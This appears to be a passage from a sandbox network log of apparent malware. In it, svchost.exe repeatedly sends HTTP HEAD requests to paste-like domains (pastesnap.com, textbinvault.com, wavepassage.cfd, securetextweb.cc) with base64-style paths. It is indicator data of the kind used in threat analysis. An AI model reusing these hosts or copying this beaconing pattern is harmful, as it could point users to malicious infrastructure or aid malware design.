cfL4;desc="?proto=TCP&rtt=1680&min_rtt=1680&rtt_var=840&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=91&delivery_rate=0&cwnd=238&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.7	49970	172.67.198.113	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:26:51.023252010 CET	80	OUT	HEAD /STB/cGFzdGVzbmFwM.txt HTTP/1.1 Host: pastesnap.com Connection: close
Jan 12, 2025 09:26:51.488451958 CET	866	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:26:51 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:26:51 GMT Location: https://pastesnap.com/STB/cGFzdGVzbmFwM.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1evzKecjjp67%2BPFhu54SI04Hjc4ynSLx8qSQOhXsZbwwCaymcJA%2BECGWkDYk%2BivC1nqP4fwrznmBoCvMDF9wULXI5fc%2BKXBl9BUglxG3y2WaKpC6vBliT%2BpLWWA%2FcqJa"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc3977d5c43ed-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1645&min_rtt=1645&rtt_var=822&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=80&delivery_rate=0&cwnd=208&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.7	49980	172.67.176.186	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:26:51.513422012 CET	87	OUT	HEAD /STB/dGV4dGJpbnZhdWx0M.txt HTTP/1.1 Host: textbinvault.com Connection: close
Jan 12, 2025 09:26:52.037334919 CET	873	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:26:51 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:26:51 GMT Location: https://textbinvault.com/STB/dGV4dGJpbnZhdWx0M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ARGnsgCLBOmBWOXzzYlP%2BWykhr3ss7PQr1J6r0eh1xoOwXWdhbAn%2F6kizNTkzoYYiAY4WPnsC20cuR%2Fxpx70w91QkjbSBfpUCOgpzqz3lqoqs40h6CmaeeAZJWJ%2ByfbfvkG1"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc39ade3841d9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1669&min_rtt=1669&rtt_var=834&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=87&delivery_rate=0&cwnd=236&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.7	49982	188.114.97.3	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:26:51.832053900 CET	86	OUT	HEAD /STB/d2F2ZXBhc3NhZ2U=M.txt HTTP/1.1 Host: wavepassage.cfd Connection: close
Jan 12, 2025 09:26:52.293606043 CET	870	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:26:52 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:26:52 GMT Location: https://wavepassage.cfd/STB/d2F2ZXBhc3NhZ2U=M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qH0aRKMuGD72pjJhrjXqraVLwguqGm581XQlaEjskP7rFwptW31Ub9wlX2TekZrqebivzSwamUTIzG14CZZQu6Yh88J1md7%2FzlDhOeFKzw4XjWOSc%2FWY699mMPN15JqPnBs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc39c7f237d20-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1944&min_rtt=1944&rtt_var=972&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=86&delivery_rate=0&cwnd=205&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.7	49984	104.21.64.1	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:26:52.067549944 CET	91	OUT	HEAD /STB/c2VjdXJldGV4dHdlYg==M.txt HTTP/1.1 Host: securetextweb.cc Connection: close
Jan 12, 2025 09:26:52.532346010 CET	875	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:26:52 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:26:52 GMT Location: https://securetextweb.cc/STB/c2VjdXJldGV4dHdlYg==M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mN4pTVLRDpnUuXJfSSnK1SSSGYxKM9WGmZIe2owaLpor2y5M7cmDoUSw65sw0X5%2BHbo6QTdjl0sLyIsUAQTksZOBFPiT2mtp0xzlEnx1G3gBUPMU%2Fqbrznx6SZwtHt8Y%2FRAf"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc39dfdf2c358-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1635&min_rtt=1635&rtt_var=817&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=91&delivery_rate=0&cwnd=153&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.7	49986	172.67.198.113	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:26:52.335328102 CET	80	OUT	HEAD /STB/cGFzdGVzbmFwM.txt HTTP/1.1 Host: pastesnap.com Connection: close
Jan 12, 2025 09:26:52.811049938 CET	867	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:26:52 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:26:52 GMT Location: https://pastesnap.com/STB/cGFzdGVzbmFwM.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qCLw1s1MSU3ULatGBL0kfnrP0kuaKpdsoMSkQeHZ3%2B7V4qKW3coZJ%2B04S7TRfnw5he9U6%2F8O0UzbfGVX0i37syZtmfaSDzjrzIOf4A9%2FU%2BMpUtgX%2Fh9RYAT1jdvDjc7Z"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc39fbdc442aa-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2223&min_rtt=2223&rtt_var=1111&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=80&delivery_rate=0&cwnd=199&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.7	49996	172.67.176.186	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:26:52.817740917 CET	87	OUT	HEAD /STB/dGV4dGJpbnZhdWx0M.txt HTTP/1.1 Host: textbinvault.com Connection: close
Jan 12, 2025 09:26:53.293430090 CET	867	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:26:53 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:26:53 GMT Location: https://textbinvault.com/STB/dGV4dGJpbnZhdWx0M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=V5SrXNB%2Bk8Al8M3b3AWxIzu1SDwSDPnNlaq0kAAV9HhsGUJVCPF4rOC1AB2DN59LTwpduOTYITNDM59YgBV3glvumDoh4teMYVAbvcze7U6dfxAn4IyYRvP9YuKk2G20lO3u"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc3a2bb428c54-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1933&min_rtt=1933&rtt_var=966&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=87&delivery_rate=0&cwnd=189&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.7	49998	188.114.97.3	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:26:53.013351917 CET	86	OUT	HEAD /STB/d2F2ZXBhc3NhZ2U=M.txt HTTP/1.1 Host: wavepassage.cfd Connection: close
Jan 12, 2025 09:26:53.497879982 CET	868	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:26:53 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:26:53 GMT Location: https://wavepassage.cfd/STB/d2F2ZXBhc3NhZ2U=M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qELYdKYzbfXFy45SfJbV1eL4GFEqZOHYJzRaOaxlVlehtvcluYKvnIUmS9azkQUikNhO4WUXrjdewU05sn5uUDNEAJGeWNqfjaN2xfLhWNOMgig4h5E7hRpn1Pg7mMomZ%2FM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc3a3f9b25e65-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1561&min_rtt=1561&rtt_var=780&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=86&delivery_rate=0&cwnd=241&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.7	50005	104.21.64.1	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:26:53.299988031 CET	91	OUT	HEAD /STB/c2VjdXJldGV4dHdlYg==M.txt HTTP/1.1 Host: securetextweb.cc Connection: close
Jan 12, 2025 09:26:53.768282890 CET	883	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:26:53 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:26:53 GMT Location: https://securetextweb.cc/STB/c2VjdXJldGV4dHdlYg==M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=S%2BGmGsAiWrdFEy3NLH053iq9%2BOc0zYSS8NkvpTyvUP%2FQxNAMedCupdlAuEH2GtwNwZ7MS3bDq2hAwJlftIe7Uq%2F26YU49DT9qU42k5S%2BOo5q%2B97c5lt49lV7%2Bk2PKZgGXDzj"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc3a5bb0b7c6a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1986&min_rtt=1986&rtt_var=993&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=91&delivery_rate=0&cwnd=216&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.7	50007	172.67.198.113	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:26:53.504475117 CET	80	OUT	HEAD /STB/cGFzdGVzbmFwM.txt HTTP/1.1 Host: pastesnap.com Connection: close
Jan 12, 2025 09:26:53.958750963 CET	860	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:26:53 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:26:53 GMT Location: https://pastesnap.com/STB/cGFzdGVzbmFwM.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ouqNNvEZONHiyCLEmt8Pka9IL6k9nxO%2F3U9yxf7ODZhTuK99v7mHPfMl57ITHtouiddxQMEtZzhBcMv%2BENRVPwkavYdfjB%2FcIoq3I68Yj7xVge5teX4MTjnSh6nkxWdE"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc3a6eeb943d7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1750&min_rtt=1750&rtt_var=875&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=80&delivery_rate=0&cwnd=210&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.7	50012	172.67.176.186	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:26:53.965317011 CET	87	OUT	HEAD /STB/dGV4dGJpbnZhdWx0M.txt HTTP/1.1 Host: textbinvault.com Connection: close
Jan 12, 2025 09:26:54.421447039 CET	871	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:26:54 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:26:54 GMT Location: https://textbinvault.com/STB/dGV4dGJpbnZhdWx0M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RXRVO8bA0kc6uiHuGpaJkH%2F2gJmQQ55OqjiLTKraM43C%2FeUiRxpUG8yFQpjwJ13yOkQX4sD9BxDyPDOVFQ5DkGYDHwoUEaF7VDERVRmpIOcSOsPGydmvIruEX%2Bv6v8HKdAEa"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc3a9cb640fa5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1470&min_rtt=1470&rtt_var=735&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=87&delivery_rate=0&cwnd=188&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.7	50018	188.114.97.3	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:26:54.243134022 CET	86	OUT	HEAD /STB/d2F2ZXBhc3NhZ2U=M.txt HTTP/1.1 Host: wavepassage.cfd Connection: close
Jan 12, 2025 09:26:54.716919899 CET	872	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:26:54 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:26:54 GMT Location: https://wavepassage.cfd/STB/d2F2ZXBhc3NhZ2U=M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=T7TSWNTzPTiUd8cM3vv%2BbCfDoHJQ%2FDFyM3BXDjBGdz2oSlFAUVlMj56LOdAlhFmHlRvnZpCSVmIoK6wb1Bgaqp4Np2B61%2F6mTGiSgCgpPOahmDTKCWVWarmZ2hRViuIpX4s%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc3ab8ce88c95-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1844&min_rtt=1844&rtt_var=922&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=86&delivery_rate=0&cwnd=202&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.7	50021	104.21.64.1	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:26:54.427807093 CET	91	OUT	HEAD /STB/c2VjdXJldGV4dHdlYg==M.txt HTTP/1.1 Host: securetextweb.cc Connection: close
Jan 12, 2025 09:26:54.910401106 CET	881	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:26:54 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:26:54 GMT Location: https://securetextweb.cc/STB/c2VjdXJldGV4dHdlYg==M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IyyCUDD3kZWggbgG%2Baen2DyoDaz2BWIRUyn5wzPlu%2B%2FTQWPyxOuFiI0kVsMi3P8KLKT2r6btIOc74rEbyhzREyHqRiPJwPyu2fKreGExe%2F5%2FXWtaZk9X8Iw%2BQ51LH4WFCKaj"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc3acef0e7c6a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1946&min_rtt=1946&rtt_var=973&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=91&delivery_rate=0&cwnd=216&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.7	50023	172.67.198.113	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:26:54.734214067 CET	80	OUT	HEAD /STB/cGFzdGVzbmFwM.txt HTTP/1.1 Host: pastesnap.com Connection: close
Jan 12, 2025 09:26:55.195628881 CET	859	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:26:55 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:26:55 GMT Location: https://pastesnap.com/STB/cGFzdGVzbmFwM.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1T8mNlPQ5JAHfdWOEXTnMIsqos2hGCP%2FqkiwSwkhnQeXqEMoG2ZOeBzsy81c7EmTMZjersfADiz90G9h2itik6fpvNhRkeR4ekcbw6pTry4y0s4dmqsIP1YflGThsf%2BX"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc3ae9b8d42e3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2602&min_rtt=2602&rtt_var=1301&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=80&delivery_rate=0&cwnd=207&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.7	50032	172.67.176.186	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:26:55.225296021 CET	87	OUT	HEAD /STB/dGV4dGJpbnZhdWx0M.txt HTTP/1.1 Host: textbinvault.com Connection: close
Jan 12, 2025 09:26:55.687144041 CET	877	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:26:55 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:26:55 GMT Location: https://textbinvault.com/STB/dGV4dGJpbnZhdWx0M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2B7M5%2FovZM2fe3wAfE0lCwMAQ0xF3%2BOdY%2FMgnMqqUnqre2l2HR4zjA%2FEtKypFqRjNRqO2vwhd%2FjXLcPp63xWBXxCzO4SzfP6SOoCk5m3PpQe0rXm0B87QqximPMypi5n2Wq0d"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc3b1bade4406-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1565&min_rtt=1565&rtt_var=782&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=87&delivery_rate=0&cwnd=184&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.7	50034	188.114.97.3	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:26:55.563457966 CET	86	OUT	HEAD /STB/d2F2ZXBhc3NhZ2U=M.txt HTTP/1.1 Host: wavepassage.cfd Connection: close
Jan 12, 2025 09:26:56.016355038 CET	874	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:26:55 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:26:55 GMT Location: https://wavepassage.cfd/STB/d2F2ZXBhc3NhZ2U=M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ISaihxj87m9EHy5BNH%2BStLP%2Bd8t0Tf6dSzAMxYitmtFaks%2Bt8JbxY1petxjSPJRpfsgYJxOqSFJf8Sx36c7f6L8PJ8ovIk9KoeTfC3arnQJ6Q%2FWODmJIJSn7FP4MLp3Pmmg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc3b3ce85c440-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1458&min_rtt=1458&rtt_var=729&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=86&delivery_rate=0&cwnd=243&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.7	50036	104.21.64.1	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:26:55.746520042 CET	91	OUT	HEAD /STB/c2VjdXJldGV4dHdlYg==M.txt HTTP/1.1 Host: securetextweb.cc Connection: close
Jan 12, 2025 09:26:56.193901062 CET	877	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:26:56 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:26:56 GMT Location: https://securetextweb.cc/STB/c2VjdXJldGV4dHdlYg==M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rXtW0x9Ofw%2F7xpZOdYe2QvVWDcUGRhGBsx2b3yyDOMyzMw71UJGy4EHkYuXCFNJ2Qi15y%2ByBtdhXxEiGFoW8CgxbNE1U23xH4Blx3cxk355%2Bm3Jl%2ByLUpD7XDdaSCe4VZP4o"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc3b4e9b442e9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1669&min_rtt=1669&rtt_var=834&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=91&delivery_rate=0&cwnd=238&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.7	50043	172.67.198.113	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:26:56.022967100 CET	80	OUT	HEAD /STB/cGFzdGVzbmFwM.txt HTTP/1.1 Host: pastesnap.com Connection: close
Jan 12, 2025 09:26:56.491660118 CET	861	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:26:56 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:26:56 GMT Location: https://pastesnap.com/STB/cGFzdGVzbmFwM.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JW7s%2FaOdHNzUURhCC%2BBYTEgHMueMD2CTRDSqYNaV4liW7ZT1AqJTlXNYcoNTdgcUVUqQ8cIiCC0DX0HGD9aACVeAmchrE3wlgOv4l%2FLEMViFzbrhR5IUdYWE3NgCistH"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc3b6bf1a726b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2000&min_rtt=2000&rtt_var=1000&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=80&delivery_rate=0&cwnd=236&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.7	50048	172.67.176.186	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:26:56.498018980 CET	87	OUT	HEAD /STB/dGV4dGJpbnZhdWx0M.txt HTTP/1.1 Host: textbinvault.com Connection: close
Jan 12, 2025 09:26:56.966150999 CET	879	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:26:56 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:26:56 GMT Location: https://textbinvault.com/STB/dGV4dGJpbnZhdWx0M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nfSs%2BvUPrK%2FTmpCh9acB938Qze1%2FVMWkteUeQa31tW9pRWrNd4TcKZ3yizWA6quXisBG4%2BjkbKWcGWmPZgXEfhmXKoqqYStfU%2FHo33MuR3BFlXnTUEj%2Bo5WT%2BUHrVTnQoD5U"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc3b9b9464315-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1524&min_rtt=1524&rtt_var=762&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=87&delivery_rate=0&cwnd=216&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.7	50052	188.114.97.3	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:26:56.679006100 CET	86	OUT	HEAD /STB/d2F2ZXBhc3NhZ2U=M.txt HTTP/1.1 Host: wavepassage.cfd Connection: close
Jan 12, 2025 09:26:57.133270979 CET	877	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:26:57 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:26:57 GMT Location: https://wavepassage.cfd/STB/d2F2ZXBhc3NhZ2U=M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yB8JJctSwgKgmm5kgki6Dz16dR%2F7%2BcZPPk3DtY7qrE7qJwei7E%2BXOIhcTAeCmu4Xwxa1DN5s168n28UjPkqtaQF5pHWlCscQtYKCumME%2F84%2Fz4iZZFpiQIHIHrnY329lXEI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc3bac89441ec-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2324&min_rtt=2324&rtt_var=1162&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=86&delivery_rate=0&cwnd=219&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.7	50057	104.21.64.1	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:26:56.972333908 CET	91	OUT	HEAD /STB/c2VjdXJldGV4dHdlYg==M.txt HTTP/1.1 Host: securetextweb.cc Connection: close
